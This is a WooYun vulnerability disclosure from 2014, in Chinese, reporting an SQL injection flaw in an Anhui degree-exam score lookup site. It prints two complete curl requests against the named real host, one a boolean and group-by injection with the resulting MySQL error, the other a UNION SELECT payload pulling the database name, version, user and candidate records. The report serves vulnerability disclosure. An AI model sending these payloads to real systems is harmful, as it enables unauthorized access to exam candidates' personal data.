当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-066963

漏洞标题：安徽学位考试网存在 sql 注入漏洞

相关厂商：安徽省学位课程统考办公室

漏洞作者： 路人甲

提交时间：2014-07-04 18:28

修复时间：2014-07-09 18:28

公开时间：2014-07-09 18:28

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：1

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-04： 细节已通知厂商并且等待厂商处理中
2014-07-09： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

没有验证传入的参数 导致存在sql 注入漏洞

详细说明：

访问 http://ahtkb.hfut.edu.cn/ahtkb/do.php?ac=query&step=1
输入正常的信息 没有什么问题
但是抓包后请求 可以发现有 sql 注入漏洞
如使用 curl

curl 'http://ahtkb.hfut.edu.cn/ahtkb/search_crcj.php' -H 'Origin: http://ahtkb.hfut.edu.cn' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: zh-CN,zh;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Referer: http://ahtkb.hfut.edu.cn/ahtkb/do.php?ac=query&step=1' -H 'Connection: keep-alive' --data "year=2014&zjlx=1&hm=' and 1='1&birth=' group by cm having 1=1 --'&submit=%BF%AA%CA%BC%B2%E9%D1%AF" --compressed > temp.html


则会显示

</td></tr></table><b>Database error:</b> Invalid SQL: SELECT * FROM cj_34_2014_cm WHERE zjhm = '' and 1='1' AND csrq = '' group by cm having 1=1 --'' LIMIT 1<br>
<b>MySQL Error</b>: 1054 (Unknown column 'cm' in 'group statement')<br>

漏洞证明：

入使用这个漏洞可以查询出 mysql 的版本 当前登录账户等

curl 'http://ahtkb.hfut.edu.cn/ahtkb/search_crcj.php' -H 'Origin: http://ahtkb.hfut.edu.cn' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: zh-CN,zh;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Referer: http://ahtkb.hfut.edu.cn/ahtkb/do.php?ac=query&step=1' -H 'Connection: keep-alive' --data "year=2014&zjlx=1&hm=' and 1='1&birth=' union SELECT zjhm,csrq,hgbz,xxxs,xm,gzdw,kssj,zkzh,database(),version(),user(),"1","1","1","1","1","1","1","1","1" from cj_34_2014_cm limit 1 -- 1='1&submit=%BF%AA%CA%BC%B2%E9%D1%AF" --compressed > temp.html


D36ED577-5B53-4390-8BD0-59941AE48064.png

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-07-09 18:28

厂商回复：

最新状态：

暂无